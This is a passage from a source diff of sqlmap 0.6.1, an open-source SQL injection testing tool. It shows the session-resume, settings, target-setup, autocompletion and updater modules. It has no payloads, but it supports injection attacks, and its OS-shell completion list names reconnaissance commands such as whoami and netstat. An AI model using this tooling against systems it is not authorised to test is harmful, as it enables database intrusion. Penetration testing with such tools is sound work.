the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
|
||||
def setString():
|
||||
"""
|
||||
Save string to match in session file.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("String") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
session file.
|
||||
"""
|
||||
|
||||
if kb.injPlace == "User-Agent":
|
||||
kb.injParameter = conf.agent
|
||||
|
||||
condition = (
|
||||
kb.injPlace and kb.injParameter and
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Injection point")
|
||||
or not kb.resumedQueries[conf.url].has_key("Injection parameter")
|
||||
or not kb.resumedQueries[conf.url].has_key("Injection type")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
|
||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||
|
||||
|
||||
def setParenthesis(parenthesisCount):
|
||||
"""
|
||||
@param parenthesisCount: number of parenthesis to be set into the
|
||||
knowledge base as fingerprint.
|
||||
@type parenthesisCount: C{int}
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Parenthesis") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
|
||||
|
||||
kb.parenthesis = parenthesisCount
|
||||
|
||||
|
||||
def setDbms(dbms):
|
||||
"""
|
||||
@param dbms: database management system to be set into the knowledge
|
||||
base as fingerprint.
|
||||
@type dbms: C{str}
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DBMS") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
|
||||
kb.dbms = dbms
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
@param comment: union comment to save in session file
|
||||
@type comment: C{str}
|
||||
|
||||
@param count: union count to save in session file
|
||||
@type count: C{str}
|
||||
|
||||
@param position: union position to save in session file
|
||||
@type position: C{str}
|
||||
"""
|
||||
|
||||
if comment and count:
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union comment")
|
||||
or not kb.resumedQueries[conf.url].has_key("Union count")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
|
||||
dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
|
||||
|
||||
kb.unionComment = comment
|
||||
kb.unionCount = count
|
||||
|
||||
elif position:
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union position")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
|
||||
|
||||
kb.unionPosition = position
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
|
||||
logMsg = "resuming string match '%s' from session file" % string
|
||||
logger.info(logMsg)
|
||||
|
||||
if string and ( not conf.string or string != conf.string ):
|
||||
if not conf.string:
|
||||
message = "you did not provide any string to match. "
|
||||
else:
|
||||
message = "The string you provided does not match "
|
||||
message += "the resumed string. "
|
||||
|
||||
message += "Do you want to use the resumed string "
|
||||
message += "to be matched in page when the query "
|
||||
message += "is valid? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
conf.string = string
|
||||
|
||||
elif expression == "Injection point" and url == conf.url:
|
||||
injPlace = value[:-1]
|
||||
|
||||
logMsg = "resuming injection point '%s' from session file" % injPlace
|
||||
logger.info(logMsg)
|
||||
|
||||
if not conf.paramDict.has_key(injPlace):
|
||||
warnMsg = "none of the parameters you provided "
|
||||
warnMsg += "matches the resumable injection point. "
|
||||
warnMsg += "sqlmap is going to reidentify the "
|
||||
warnMsg += "injectable point"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.injPlace = injPlace
|
||||
|
||||
elif expression == "Injection parameter" and url == conf.url:
|
||||
injParameter = value[:-1]
|
||||
|
||||
logMsg = "resuming injection parameter '%s' from session file" % injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
condition = (
|
||||
not conf.paramDict.has_key(kb.injPlace) or
|
||||
not conf.paramDict[kb.injPlace].has_key(injParameter)
|
||||
)
|
||||
|
||||
if condition:
|
||||
warnMsg = "none of the parameters you provided "
|
||||
warnMsg += "matches the resumable injection parameter. "
|
||||
warnMsg += "sqlmap is going to reidentify the "
|
||||
warnMsg += "injectable point"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.injParameter = injParameter
|
||||
|
||||
elif expression == "Injection type" and url == conf.url:
|
||||
kb.injType = value[:-1]
|
||||
|
||||
logMsg = "resuming injection type '%s' from session file" % kb.injType
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Parenthesis" and url == conf.url:
|
||||
kb.parenthesis = int(value[:-1])
|
||||
|
||||
logMsg = "resuming %d number of " % kb.parenthesis
|
||||
logMsg += "parenthesis from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DBMS" and url == conf.url:
|
||||
dbms = value[:-1]
|
||||
|
||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
dbms = dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
message += "but from a past scan information on the target URL "
|
||||
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
|
||||
message += "Do you really want to force the back-end "
|
||||
message += "DBMS value? [y/N] "
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.dbms = dbms
|
||||
else:
|
||||
conf.dbms = dbms
|
||||
|
||||
elif expression == "Union comment" and url == conf.url:
|
||||
kb.unionComment = value[:-1]
|
||||
|
||||
logMsg = "resuming union comment "
|
||||
logMsg += "'%s' from session file" % kb.unionComment
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union count" and url == conf.url:
|
||||
kb.unionCount = int(value[:-1])
|
||||
|
||||
logMsg = "resuming union count "
|
||||
logMsg += "%s from session file" % kb.unionCount
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union position" and url == conf.url:
|
||||
kb.unionPosition = int(value[:-1])
|
||||
|
||||
logMsg = "resuming union position "
|
||||
logMsg += "%s from session file" % kb.unionPosition
|
||||
logger.info(logMsg)
|
||||
66
lib/core/settings.py
Normal file
66
lib/core/settings.py
Normal file
@@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.1"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
# sqlmap logger
|
||||
logging.addLevelName(9, "TRAFFIC OUT")
|
||||
logging.addLevelName(8, "TRAFFIC IN")
|
||||
LOGGER = logging.getLogger("sqlmapLog")
|
||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||
|
||||
LOGGER_HANDLER.setFormatter(FORMATTER)
|
||||
LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
# Url to update sqlmap from
|
||||
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
||||
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
|
||||
# Database managemen system specific variables
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" )
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
103
lib/core/shell.py
Normal file
103
lib/core/shell.py
Normal file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import atexit
|
||||
import os
|
||||
import rlcompleter
|
||||
|
||||
from lib.core import readlineng as readline
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
|
||||
|
||||
def saveHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
readline.write_history_file(historyPath)
|
||||
|
||||
|
||||
def loadHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
|
||||
if os.path.exists(historyPath):
|
||||
readline.read_history_file(historyPath)
|
||||
|
||||
|
||||
def queriesForAutoCompletion():
|
||||
autoComplQueries = {}
|
||||
|
||||
for _, query in queries[kb.dbms].items():
|
||||
if isinstance(query, str) and len(query) > 1:
|
||||
autoComplQuery = query
|
||||
elif isinstance(query, dict) and "inband" in query:
|
||||
autoComplQuery = query["inband"]["query"]
|
||||
|
||||
autoComplQueries[autoComplQuery] = None
|
||||
|
||||
return autoComplQueries
|
||||
|
||||
|
||||
class CompleterNG(rlcompleter.Completer):
|
||||
def global_matches(self, text):
|
||||
"""
|
||||
Compute matches when text is a simple name.
|
||||
Return a list of all names currently defined in self.namespace
|
||||
that match.
|
||||
"""
|
||||
|
||||
matches = []
|
||||
n = len(text)
|
||||
|
||||
for list in [ self.namespace ]:
|
||||
for word in list:
|
||||
if word[:n] == text:
|
||||
matches.append(word)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def autoCompletion(sqlShell=False, osShell=False):
|
||||
# First of all we check if the readline is available, by default
|
||||
# it is not in Python default installation on Windows
|
||||
if not readline.haveReadline:
|
||||
return
|
||||
|
||||
if sqlShell:
|
||||
completer = CompleterNG(queriesForAutoCompletion())
|
||||
elif osShell:
|
||||
# TODO: add more operating system commands; differentiate commands
|
||||
# based on future operating system fingerprint
|
||||
completer = CompleterNG({
|
||||
"id": None, "ifconfig": None, "ls": None,
|
||||
"netstat -natu": None, "pwd": None,
|
||||
"uname": None, "whoami": None,
|
||||
})
|
||||
|
||||
readline.set_completer(completer.complete)
|
||||
readline.parse_and_bind("tab: complete")
|
||||
|
||||
loadHistory()
|
||||
atexit.register(saveHistory)
|
||||
218
lib/core/target.py
Normal file
218
lib/core/target.py
Normal file
@@ -0,0 +1,218 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: target.py 294 2008-07-28 23:30:15Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import resumeConfKb
|
||||
|
||||
|
||||
def __setRequestParams():
|
||||
"""
|
||||
Check and set the parameters and perform checks on 'data' option for
|
||||
HTTP method POST.
|
||||
"""
|
||||
|
||||
__testableParameters = False
|
||||
|
||||
# Perform checks on GET parameters
|
||||
if conf.parameters.has_key("GET") and conf.parameters["GET"]:
|
||||
parameters = conf.parameters["GET"]
|
||||
__paramDict = paramToDict("GET", parameters)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["GET"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on POST parameters
|
||||
if conf.method == "POST" and not conf.data:
|
||||
errMsg = "HTTP POST method depends on HTTP data value to be posted"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
if conf.data:
|
||||
conf.parameters["POST"] = conf.data
|
||||
__paramDict = paramToDict("POST", conf.data)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["POST"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on Cookie parameters
|
||||
if conf.cookie:
|
||||
conf.parameters["Cookie"] = conf.cookie
|
||||
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on User-Agent header value
|
||||
if conf.httpHeaders:
|
||||
for httpHeader, headerValue in conf.httpHeaders:
|
||||
if httpHeader == "User-Agent":
|
||||
conf.parameters["User-Agent"] = headerValue
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= "User-Agent" in conf.testParameter
|
||||
condition |= "user-agent" in conf.testParameter
|
||||
condition |= "useragent" in conf.testParameter
|
||||
condition |= "ua" in conf.testParameter
|
||||
|
||||
if condition:
|
||||
conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
|
||||
__testableParameters = True
|
||||
|
||||
if not conf.parameters:
|
||||
errMsg = "you did not provide any GET, POST and Cookie "
|
||||
errMsg += "parameter, neither an User-Agent header"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
elif not __testableParameters:
|
||||
errMsg = "all testable parameters you provided are not present "
|
||||
errMsg += "within the GET, POST and Cookie parameters"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setOutputResume():
|
||||
"""
|
||||
Check and set the output text file and the resume functionality.
|
||||
"""
|
||||
|
||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
||||
readSessionFP = open(conf.sessionFile, "r")
|
||||
lines = readSessionFP.readlines()
|
||||
|
||||
for line in lines:
|
||||
if line.count("][") == 4:
|
||||
line = line.split("][")
|
||||
|
||||
if len(line) != 5:
|
||||
continue
|
||||
|
||||
url, _, _, expression, value = line
|
||||
|
||||
if not value:
|
||||
continue
|
||||
|
||||
if url[0] == "[":
|
||||
url = url[1:]
|
||||
|
||||
if value[-1] == "\n":
|
||||
value = value[:-1]
|
||||
|
||||
if url != conf.url:
|
||||
continue
|
||||
|
||||
if url not in kb.resumedQueries.keys():
|
||||
kb.resumedQueries[url] = {}
|
||||
kb.resumedQueries[url][expression] = value
|
||||
|
||||
resumeConfKb(expression, url, value)
|
||||
|
||||
if expression not in kb.resumedQueries[url].keys():
|
||||
kb.resumedQueries[url][expression] = value
|
||||
elif len(value) >= len(kb.resumedQueries[url][expression]):
|
||||
kb.resumedQueries[url][expression] = value
|
||||
|
||||
readSessionFP.close()
|
||||
|
||||
if conf.sessionFile:
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __createFilesDir():
|
||||
"""
|
||||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not conf.rFile:
|
||||
return
|
||||
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
|
||||
|
||||
if not os.path.isdir(conf.filePath):
|
||||
os.makedirs(conf.filePath, 0755)
|
||||
|
||||
|
||||
def __createDumpDir():
|
||||
"""
|
||||
Create the dump directory.
|
||||
"""
|
||||
|
||||
if not conf.dumpTable and not conf.dumpAll:
|
||||
return
|
||||
|
||||
conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
|
||||
|
||||
if not os.path.isdir(conf.dumpPath):
|
||||
os.makedirs(conf.dumpPath, 0755)
|
||||
|
||||
|
||||
def initTargetEnv():
|
||||
"""
|
||||
Initialize target environment.
|
||||
"""
|
||||
|
||||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
40
lib/core/unescaper.py
Normal file
40
lib/core/unescaper.py
Normal file
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
class Unescaper:
|
||||
def __init__(self):
|
||||
self.__unescaper = None
|
||||
|
||||
|
||||
def setUnescape(self, unescapeFunction):
|
||||
self.__unescaper = unescapeFunction
|
||||
|
||||
|
||||
def unescape(self, expression):
|
||||
return self.__unescaper(expression)
|
||||
|
||||
|
||||
unescaper = Unescaper()
|
||||
337
lib/core/update.py
Normal file
337
lib/core/update.py
Normal file
@@ -0,0 +1,337 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: update.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import difflib
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import tempfile
|
||||
import urlparse
|
||||
import zipfile
|
||||
|
||||
from distutils.dir_util import mkpath
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.settings import MSSQL_VERSIONS_URL
|
||||
from lib.core.settings import SQLMAP_VERSION_URL
|
||||
from lib.core.settings import SQLMAP_SOURCE_URL
|
||||
from lib.core.settings import VERSION
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __updateMSSQLXML():
|
||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname
|
||||
warnMsg += " check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
doc = Document()
|
||||
|
||||
# Create the <root> base element
|
||||
root = doc.createElement("root")
|
||||
doc.appendChild(root)
|
||||
|
||||
for index in range(0, releasesCount):
|
||||
release = releases[index]
|
||||
|
||||
# Skip Microsoft SQL Server 6.5 because the HTML
|
||||
# table is in another format
|
||||
if release == "6.5":
|
||||
continue
|
||||
|
||||
# Create the <signatures> base element
|
||||
signatures = doc.createElement("signatures")
|
||||
signatures.setAttribute("release", release)
|
||||
root.appendChild(signatures)
|
||||
|
||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||
|
||||
if index == releasesCount - 1:
|
||||
stopIdx = len(mssqlVersionsHtmlString)
|
||||
else:
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
servicePack = servicePack[1:]
|
||||
if "/" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("/")]
|
||||
if "(" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("(")]
|
||||
if "-" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
servicePack = servicePack[:-1]
|
||||
|
||||
if servicePack and version:
|
||||
# Create the main <card> element
|
||||
signature = doc.createElement("signature")
|
||||
signatures.appendChild(signature)
|
||||
|
||||
# Create a <version> element
|
||||
versionElement = doc.createElement("version")
|
||||
signature.appendChild(versionElement)
|
||||
|
||||
# Give the <version> elemenet some text
|
||||
versionText = doc.createTextNode(version)
|
||||
versionElement.appendChild(versionText)
|
||||
|
||||
# Create a <servicepack> element
|
||||
servicepackElement = doc.createElement("servicepack")
|
||||
